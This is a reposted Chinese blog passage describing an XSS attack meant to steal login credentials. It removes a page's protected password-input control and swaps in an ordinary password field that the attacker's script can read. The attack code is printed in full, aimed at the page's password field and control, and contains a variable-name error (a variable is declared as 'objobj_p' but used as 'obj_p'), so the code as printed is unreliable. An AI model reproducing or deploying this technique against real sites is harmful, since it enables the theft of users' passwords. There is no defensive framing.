XSS的具体场景如下:
存在一个XSS,但是很无赖,密码的这个域无法监听,也无法操作,我讲讲对方的验证方法,XSS的目的是窃取用户输入的用户和密码。
HTML表单中有类型为hidden的password域,用户无法看到。在HTML中使用object标签加载自己编写的密码控件,加载的作用是显示一个输入密码框
假设这个object 的 ID=”defence”,用户在控件生成的输入框里面输入密码,测试发现,无论键盘记录还是DOM操作对这个域无效。
点提交后 控件会响应事件onsubmit,获取输入进行加密,然后修改刚刚提到的隐藏域password的值,开始提交。
object标签那是用来加载控件的。具体思路是这样的: 通过分析我们发现几点:
一:我们能执行任意JS
二:密码控件不可用JS操作,但是控件也是HTML和JS调用出来的,好了,我们可以想,绕过似乎不行,因为编写过控件的都知道,这里的控件独立于HTML DOM
既然如此 我们从创建它的页面入手,既然object标签调用了他,我们对他的父节点进行removeChild操作,就是删除该节点1。
经过测试,密码控件生成的输入框消失。
然后下面的工作就轻松了,重写一个全新的password域,经过修改到达到和原来一样的样子,然后,整个表单又回到***的控制中。
有的控件不是使用JS调用的当然就不能用此思路了, 卸载的核心代码其实很简单:
- function killXXX()
- {
- //删除password域
- var ps = document.getElementById("password");
- ps.parentNode.removeChild(ps);
- //卸载DHGateEdit
- var obj = document.getElementById("XXX");
- var objobj_p = obj.parentNode;
- obj_p.style.border = 0;
- obj_p.removeChild(obj);
- //重建password域
- var obj = document.createElement("input");
- obj.type = "password";
- obj.id = "hacker";
- obj.name = "password";
- obj.tabindex = "2";
- obj.border = 0;
- obj.size = 22;
- obj_p.appendChild(obj);
- return true;
- }
转载于:https://blog.51cto.com/obnus/466933